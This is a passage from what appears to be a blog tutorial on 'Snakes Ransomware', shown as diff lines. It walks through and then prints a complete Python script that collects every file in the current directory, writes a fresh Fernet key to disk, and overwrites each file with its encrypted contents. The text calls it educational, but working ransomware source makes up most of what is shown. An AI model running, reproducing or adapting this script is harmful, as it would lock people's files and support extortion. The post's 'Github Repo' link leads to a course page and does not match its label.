files: - with open(file, "rb") as thefile: - contents = thefile.read() - contents_encrypted = Fernet(key).encrypt(contents) - - with open(file, "wb") as thefile: - thefile.write(contents_encrypted) -``` -- The script loops through each file in the `files` list. -- It reads the contents of each file in binary mode (`"rb"`). -- The contents are encrypted using the generated key. -- The encrypted contents are then written back to the original file in binary mode (`"wb"`), replacing the original contents with the encrypted data. - -### **Complete Encryption Script** - -Here's the complete encryption script with comments for clarity: - -```python -#!/usr/bin/env python3 - -import os -from cryptography.fernet import Fernet - -# List of files to be encrypted -files = [] - -# Identify files to encrypt, excluding the script and key files -for file in os.listdir(): - if file == "snakes-encrypt.py" or file == "snakes-key.key": - continue - if os.path.isfile(file): - files.append(file) -print("Files to be encrypted:", files) - -# Generate encryption key and save it to a file -key = Fernet.generate_key() - -with open("snakes-key.key", "wb") as thekey: - thekey.write(key) - -# Encrypt each file -for file in files: - with open(file, "rb") as thefile: - contents = thefile.read() - contents_encrypted = Fernet(key).encrypt(contents) - - with open(file, "wb") as thefile: - thefile.write(contents_encrypted) - -print("Encryption completed.") -``` - - -## Conclusion - -Ransomware remains one of the most significant threats in cybersecurity today. By understanding how it works through projects like Snakes Ransomware, we can better prepare ourselves to defend against such attacks. Remember, the Snakes Ransomware project is strictly for educational purposes, and I strongly discourage any malicious use of this knowledge. - -For more insights into cybersecurity and programming, stay tuned to Krishna-Blogs! - ---- -[Github Repo](https://cs50.harvard.edu/python/2024/) -- For referance - -Contact: ekrishnachaitanya2004@gmail.com 'or' - snakesnnetworks@gmail.com